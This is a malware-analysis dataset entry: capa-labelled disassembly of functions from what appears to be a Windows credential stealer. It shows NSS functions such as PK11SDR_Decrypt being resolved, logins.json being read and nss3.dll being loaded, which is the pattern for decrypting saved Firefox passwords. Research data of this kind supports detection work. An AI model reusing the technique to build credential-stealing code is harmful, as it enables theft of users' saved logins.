joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a660
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rdx, str.NSS_Init
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rbx
mov qword [0x1402dd618], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rbx
mov qword [0x1402dd630], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rbx
mov qword [0x1402dd628], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rbx
mov qword [0x1402dd610], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rbx
mov qword [0x1402dd600], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rbx
mov qword [0x1402dd620], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402dd608], rax
add rsp, 0x20
pop rbx
ret

Function at 0x14001a710
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1402d1ba8]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
mov qword [rsp + 0x68], rcx
mov rcx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0xc
jb 0x14001a834
mov r9, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14001a75c
mov r9, qword [rbx]
mov qword [rsp + 0x30], send
lea rax, str.logins.json
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rbx
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400309b0
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.140027110
lea rcx, [rsp + 0x48]
call fcn.140029b80
mov ecx, 0x186a0
call fcn.140200fd4
mov rdi, rax
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14001a7b9
mov rcx, qword [rbx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14001a80b
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
mov r8d, 0x186a0
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
nop
mov rcx, rbx
call fcn.140029b80
mov rax, rdi
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1401e7970
mov rbx, qword [rsp + 0x98]
add rsp, 0x80
pop rdi
ret
call fcn.140001bd0
nop
int3
Function at 0x14001a910
Capabilities:
Set current directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x1402d1ba8]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rcx
mov qword [rsp + 0x48], rcx
movsd xmm0, qword [str.nss3.dll]
movsd qword [rsp + 0x50], xmm0
movzx eax, byte [0x14028a290]
mov byte [rsp + 0x58], al
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.1400272f0
mov rcx, rax
call fcn.14001a880
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001a990
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.14002ec50
lea rcx, [rsp + 0x28]
call fcn.14001a880
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
mov rcx, rdi
call fcn.140029b80
mov rax, rbx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1401e7970
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140023580
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1400235a2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14002361c
mov rdi, r14
mov rcx, rbx
call fcn.1400296b0
test rax, rax
jle 0x1400235f4
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.1401ea7b0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14002360c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x140023614
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1400235b6
sub r14, rdi
jmp 0x1400236ff
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140023633
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140023635
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140023667
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1401ea7b0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400236fc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400236a2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x1400236dd
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1402007e8
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400236fc
cmp rbp, rax
ja 0x1400236b0
test rbp, rbp
je 0x1400236fc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1402007e8
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret

Function at 0x14002e120
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402d1ba8]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov ecx, 8
call fcn.1401e79a8
lea rcx, [fcn.140015540]
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140035a60]
xor edx, edx
xor ecx, ecx
call fcn.1401f7ea0
mov qword [rbx], rax
test rax, rax
je 0x14002e19c
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1401e7970
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call fcn.1401c4ea4
int3

Function at 0x14002f880
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x14002f8b4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x14002f8a0
ret
Function at 0x1400341e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x140034241
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140034200
mov ecx, dword [r10]
jmp 0x14003432a
cmp ecx, 0x4e0
jb 0x14003432a
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x140034260
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x1400342b0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14003c9f0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14003cabc
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14003cabc
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x14003cad5
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x14003caac
cmp byte [rax], 0x5c
jne 0x14003caa6
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x14003caa6
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x14003ca92
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x14003caa3
test r8b, 0x10
jne 0x14003caa6
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x14003caa6
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.1400343a0
test edi, edi
jne 0x14003ca10
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140034390
int3
Function at 0x14006b540
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp byte [rcx + 0x11], 0
mov r9, rcx
jne 0x14006b597
movzx eax, byte [rcx + 0x10]
test al, al
je 0x14006b597
cmp al, 1
jne 0x14006b559
test edx, edx
jne 0x14006b597
mov r10, qword [rcx + 8]
test r8, r8
je 0x14006b572
mov rax, qword [r10 + 0x18]
mov rcx, qword [rax + 0x50]
mov eax, dword [rcx + 0x28]
bswap eax
mov dword [r8], eax
test edx, edx
je 0x14006b594
mov rax, qword [r9]
mov rcx, qword [r10]
mov edx, dword [rax + 0x2f0]
cmp edx, dword [rcx + 0x80]
jle 0x14006b594
cmp byte [rcx + 0xa], 0
jne fcn.140062ce0
xor eax, eax
ret
jmp fcn.14006b180
Function at 0x14008c0e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r14
push r15
sub rsp, 0x30
mov r14, rcx
mov qword [rcx], 0
mov ecx, Ordinal_41
mov rbp, r8
mov r15, rdx
call fcn.14004ca20
mov rbx, rax
test rax, rax
jne 0x14008c122
lea eax, [rbx + 7]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
cmp byte [reloc.WS2_32.dll_accept], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
je 0x14008c186
mov rax, qword [0x1402d38b0]
test rax, rax
je 0x14008c14c
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call rax
test eax, eax
jne 0x14008c186
lea rsi, [rbx + 8]
mov qword [rbx + 0x10], r15
lea rdi, [rbx + 0x10]
mov qword [rsp + 0x28], rsi
mov r9, rbx
mov dword [rsp + 0x20], 0
lea r8, [0x1400501a0]
mov qword [rbx + 0x18], rbp
xor edx, edx
xor ecx, ecx
call fcn.1401f7ea0
mov qword [rbx], rax
test rax, rax
jne 0x14008c19e
jmp 0x14008c18e
lea rdi, [rbx + 0x10]
lea rsi, [rbx + 8]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov qword [rbx + 0x20], rax
cmp qword [rdi], 0
mov rdi, qword [rsp + 0x58]
jne 0x14008c1bb
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbp
mov dword [rsi], eax
call r15
mov qword [rbx + 0x20], rax
mov rsi, qword [rsp + 0x50]
xor eax, eax
mov qword [r14], rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
Function at 0x1400c2a70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rsi, qword [rcx + 0xa8]
mov rbx, rcx
mov rax, qword [rcx]
mov rdi, qword [rcx + 0x10]
mov qword [rsp + 0x60], rax
test rsi, rsi
je 0x1400c2c8a
mov qword [rsp + 0x68], rbp
xor r9d, r9d
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x38], r14
nop dword [rax]
nop word [rax + rax]
movsxd rbp, dword [rsi + 0x10]
lea r12, [rdi + 0x88]
mov r15d, dword [rsi + 0x14]
shl rbp, 5
add rbp, qword [rax + 0x20]
movzx eax, byte [rbx + 0x1f]
test al, al
jne 0x1400c2ae8
inc dword [rbx + 0x38]
mov r14d, dword [rbx + 0x38]
jmp 0x1400c2af8
dec al
movzx eax, al
mov byte [rbx + 0x1f], al
mov r14d, dword [rbx + rax*4 + 0xe8]
movsxd rcx, dword [rdi + 0x90]
lea r8d, [r15 + 2]
lea edx, [rcx + 7]
cmp dword [rdi + 0x94], ecx
jg 0x1400c2b25
mov r9d, edx
mov dword [rsp + 0x20], r15d
mov edx, gethostname
mov rcx, rdi
call fcn.14007a370
jmp 0x1400c2b50
lea eax, [rcx + 1]
mov dword [rdi + 0x90], eax
lea rcx, [rcx + rcx*2]
mov rax, qword [r12]
mov dword [rax + rcx*8], gethostname
mov dword [rax + rcx*8 + 4], r8d
mov dword [rax + rcx*8 + 8], edx
mov dword [rax + rcx*8 + 0xc], r15d
mov qword [rax + rcx*8 + 0x10], r9
mov r9, qword [rbp + 0x18]
xor edx, edx
mov r8d, dword [rsi + 0x10]
mov rcx, rbx
mov dword [rsp + 0x20], WSACleanup
mov r9, qword [r9 + 0x68]
call fcn.1400c1d50
mov eax, dword [rdi + 0x90]
add eax, 5
cmp eax, dword [rdi + 0x94]
jle 0x1400c2b8f
mov rcx, rdi
call fcn.14007a230
test eax, eax
jne 0x1400c2c71
movsxd rax, dword [rdi + 0x90]
xor r9d, r9d
lea rcx, [rax + rax*2]
mov rax, qword [r12]
mov dword [rax + rcx*8 + 8], 2
mov byte [rax + rcx*8], 0x33
mov dword [rax + rcx*8 + 4], r9d
lea rdx, [rax + rcx*8]
mov eax, dword [rdi + 0x90]
mov dword [rdx + 0xc], r9d
add eax, 2
mov dword [rdx + 8], eax
mov byte [rdx + 1], r9b
mov qword [rdx + 0x10], r9
mov word [rdx + 2], r9w
mov qword [rdx + 0x18], 0x7f
mov qword [rdx + 0x20], r9
mov qword [rdx + 0x28], r9
mov qword [rdx + 0x30], 0x61
mov qword [rdx + 0x38], 2
mov qword [rdx + 0x40], r9
mov qword [rdx + 0x48], 0x80
mov qword [rdx + 0x50], r9
mov qword [rdx + 0x58], r9
mov qword [rdx + 0x60], 0x7a
mov qword [rdx + 0x68], r9
mov qword [rdx + 0x70], r9
add dword [rdi + 0x90], 5
test rdx, rdx
je 0x1400c2c71
mov dword [rdx + 0x3c], r14d
lea ecx, [r15 + 1]
mov dword [rdx + 4], ecx
lea eax, [r15 - 1]
mov dword [rdx + 0x20], ecx
mov dword [rdx + 0x54], ecx
mov ecx, 8
mov word [rdx + 0x4a], cx
mov dword [rdx + 0x34], eax
mov dword [rdx + 0x50], r14d
test r14d, r14d
je 0x1400c2c60
movzx eax, byte [rbx + 0x1f]
cmp al, cl
jae 0x1400c2c60
mov dword [rbx + rax*4 + 0xe8], r14d
inc byte [rbx + 0x1f]
mov rsi, qword [rsi]
mov rax, qword [rsp + 0x60]
test rsi, rsi
jne 0x1400c2ac0
mov r14, qword [rsp + 0x38]
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x68]
mov r15, qword [rsp + 0x30]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x140128870
Capabilities:
Hash data using djb2

Disassembly:
push rbp
push rsi
push r12
push r15
sub rsp, 0x28
mov r12d, r9d
mov r15, r8
mov rsi, rdx
mov rbp, rcx
test rcx, rcx
je 0x140128a4b
test rdx, rdx
je 0x140128a4b
movabs rax, 0x7fffffffffffffff
cmp r8, rax
ja 0x140128a4b
cmp dword [rcx], 0
mov qword [rsp + 0x20], r14
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], r13
jne 0x1401288df
mov r8, r14
mov edx, 0x100
call fcn.140128e70
test al, al
je 0x140128970
movzx eax, byte [rsi]
mov rcx, rsi
mov edi, 0x1505
test al, al
je 0x140128905
nop
imul rdi, rdi, 0x21
movzx eax, al
lea rcx, [rcx + 1]
add rdi, rax
movzx eax, byte [rcx]
test al, al
jne 0x1401288f0
xor edx, edx
mov eax, edi
div dword [rbp]
mov rax, qword [rbp + 0x10]
mov r13d, edx
mov rbx, qword [rax + rdx*8]
test rbx, rbx
je 0x140128950
nop dword [rax]
cmp dword [rbx + 0x20], edi
jne 0x140128947
mov r8, qword [rbx]
mov rax, rsi
sub r8, rsi
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140128943
inc rax
test ecx, ecx
jne 0x140128930
test edx, edx
je 0x140128991
mov rbx, qword [rbx + 0x18]
test rbx, rbx
jne 0x140128920
mov ecx, Ordinal_41
call fcn.140200fd4
mov rbx, rax
test rax, rax
jne 0x1401289b2
xor r8d, r8d
lea edx, [rax + 0xe]
mov rcx, r14
call fcn.140123030
xor al, al
mov r13, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
pop r15
pop r12
pop rsi
pop rbp
ret
test r12b, 8
je 0x14012899e
cmp qword [rbx + 8], 0xffffffffffffffff
jne 0x1401289a9
cmp qword [rbx + 0x10], 0xffffffffffffffff
je 0x140128a36
xor r8d, r8d
lea edx, [r8 + 0xa]
jmp 0x140128968
mov qword [rax], rsi
xorps xmm1, xmm1
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + r13*8]
mov qword [rbx + 0x18], rcx
mov rax, qword [rbp + 0x10]
mov qword [rax + r13*8], rbx
mov dword [rbx + 0x20], edi
mov qword [rbx + 8], 0xffffffffffffffff
inc qword [rbp + 8]
mov rcx, qword [rbp + 8]
mov edx, dword [rbp]
test rcx, rcx
js 0x1401289ee
cvtsi2sd xmm1, rcx
jmp 0x140128a03
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm0, qword [0x14023eba0]
comisd xmm1, xmm0
jbe 0x140128a36
cmp edx, 0x80000000
jae 0x140128a36
add edx, edx
mov r8, r14
mov rcx, rbp
call fcn.140128e70
test al, al
je 0x140128970
test r12b, 8
je 0x140128a40
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
mov al, 1
jmp 0x140128972
mov rcx, qword [rsp + 0x70]
xor r8d, r8d
lea edx, [r8 + 0x12]
call fcn.140123030
xor al, al
add rsp, 0x28
pop r15
pop r12
pop rsi
pop rbp
ret
Function at 0x140128a70
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
mov rsi, r8
mov r11, rdx
mov rbx, rcx
test rcx, rcx
je 0x140128be1
test rdx, rdx
je 0x140128be1
cmp qword [rcx + 8], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r14
jbe 0x140128b23
movzx eax, byte [rdx]
mov r8, rdx
mov r10d, 0x1505
test al, al
je 0x140128ad6
nop
imul r10, r10, 0x21
movzx eax, al
lea r8, [r8 + 1]
add r10, rax
movzx eax, byte [r8]
test al, al
jne 0x140128ac0
mov r14, qword [rcx + 0x10]
xor edx, edx
mov eax, r10d
xor edi, edi
div dword [rcx]
mov ebp, edx
mov r8, qword [r14 + rdx*8]
test r8, r8
je 0x140128b23
nop
cmp dword [r8 + 0x20], r10d
jne 0x140128b17
mov r9, qword [r8]
mov rax, r11
sub r9, r11
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140128b13
inc rax
test ecx, ecx
jne 0x140128b00
test edx, edx
je 0x140128b4e
mov rdi, r8
mov r8, qword [r8 + 0x18]
test r8, r8
jne 0x140128af0
xor r8d, r8d
mov rcx, rsi
lea edx, [r8 + 9]
call fcn.140123030
xor al, al
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
cmp qword [r8 + 8], 0xffffffffffffffff
jne 0x140128bd2
mov rax, qword [r8 + 0x18]
test rdi, rdi
je 0x140128b64
mov qword [rdi + 0x18], rax
jmp 0x140128b68
mov qword [r14 + rbp*8], rax
mov rcx, r8
call fcn.1401ff8a8
dec qword [rbx + 8]
xorps xmm1, xmm1
mov rcx, qword [rbx + 8]
mov edx, dword [rbx]
test rcx, rcx
js 0x140128b89
cvtsi2sd xmm1, rcx
jmp 0x140128b9e
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm0, qword [0x14023eb98]
comisd xmm0, xmm1
jbe 0x140128bda
cmp edx, 0x100
jbe 0x140128bda
shr edx, 1
mov r8, rsi
mov rcx, rbx
call fcn.140128e70
test al, al
jne 0x140128bda
jmp 0x140128b32
mov qword [r8 + 0x10], 0xffffffffffffffff
mov al, 1
jmp 0x140128b34
xor r8d, r8d
mov rcx, rsi
lea edx, [r8 + 0x12]
call fcn.140123030
mov rbx, qword [rsp + 0x48]
xor al, al
add rsp, 0x20
pop rsi
ret
Function at 0x140128c80
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r9
mov esi, r8d
mov rbx, rdx
mov r11, rcx
test rcx, rcx
je 0x140128d67
test rdx, rdx
je 0x140128d67
cmp qword [rcx + 8], 0
jbe 0x140128d60
movzx r8d, byte [rdx]
mov r10, rdx
mov eax, 0x1505
test r8b, r8b
je 0x140128ce8
nop dword [rax]
imul rax, rax, 0x21
movzx ecx, r8b
lea r10, [r10 + 1]
movzx r8d, byte [r10]
add rax, rcx
test r8b, r8b
jne 0x140128cd0
xor edx, edx
div dword [r11]
mov rax, qword [r11 + 0x10]
mov r9, qword [rax + rdx*8]
test r9, r9
je 0x140128d60
nop word [rax + rax]
mov r8, qword [r9]
mov rax, rbx
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140128d23
inc rax
test ecx, ecx
jne 0x140128d10
test edx, edx
je 0x140128d36
mov r9, qword [r9 + 0x18]
test r9, r9
jne 0x140128d00
lea edx, [r9 + 9]
jmp 0x140128d6c
test sil, 8
je 0x140128d56
mov rax, qword [r9 + 8]
cmp rax, 0xffffffffffffffff
je 0x140128d60
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [r9 + 0x10]
cmp rax, 0xffffffffffffffff
jne 0x140128d7e
mov edx, 9
jmp 0x140128d6c
mov edx, reloc.WS2_32.dll_select
xor r8d, r8d
mov rcx, rdi
call fcn.140123030
mov rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14012d9f0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
test r9, r9
je 0x14012db0e
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r9
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
test rdx, rdx
je 0x14012da92
sub rsi, rdx
movzx eax, word [rbx + 8]
lea rdx, [rsp + 0x48]
or eax, 2
mov r8d, 1
mov ecx, eax
xor ecx, 1
imul ecx, eax
shr ecx, 8
xor cl, byte [rsi + rdi]
mov byte [rdi], cl
mov byte [rsp + 0x48], cl
mov ecx, dword [rbx]
not ecx
call fcn.1401bc2e0
not eax
lea rdx, [rsp + 0x48]
mov dword [rbx], eax
mov r8d, 1
movzx eax, al
add eax, dword [rbx + 4]
imul ecx, eax, 0x8088405
inc ecx
mov dword [rbx + 4], ecx
shr ecx, 0x18
mov byte [rsp + 0x48], cl
mov ecx, dword [rbx + 8]
not ecx
call fcn.1401bc2e0
lea rdi, [rdi + 1]
not eax
mov dword [rbx + 8], eax
sub rbp, 1
jne 0x14012da21
jmp 0x14012dafa
xor edi, edi
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rbx]
lea rdx, [rsp + 0x48]
movzx eax, byte [rdi + rsi]
not ecx
mov r8d, 1
mov byte [rsp + 0x48], al
call fcn.1401bc2e0
not eax
lea rdx, [rsp + 0x48]
mov dword [rbx], eax
mov r8d, 1
movzx eax, al
add eax, dword [rbx + 4]
imul ecx, eax, 0x8088405
inc ecx
mov dword [rbx + 4], ecx
shr ecx, 0x18
mov byte [rsp + 0x48], cl
mov ecx, dword [rbx + 8]
not ecx
call fcn.1401bc2e0
inc rdi
not eax
mov dword [rbx + 8], eax
cmp rdi, rbp
jb 0x14012daa0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret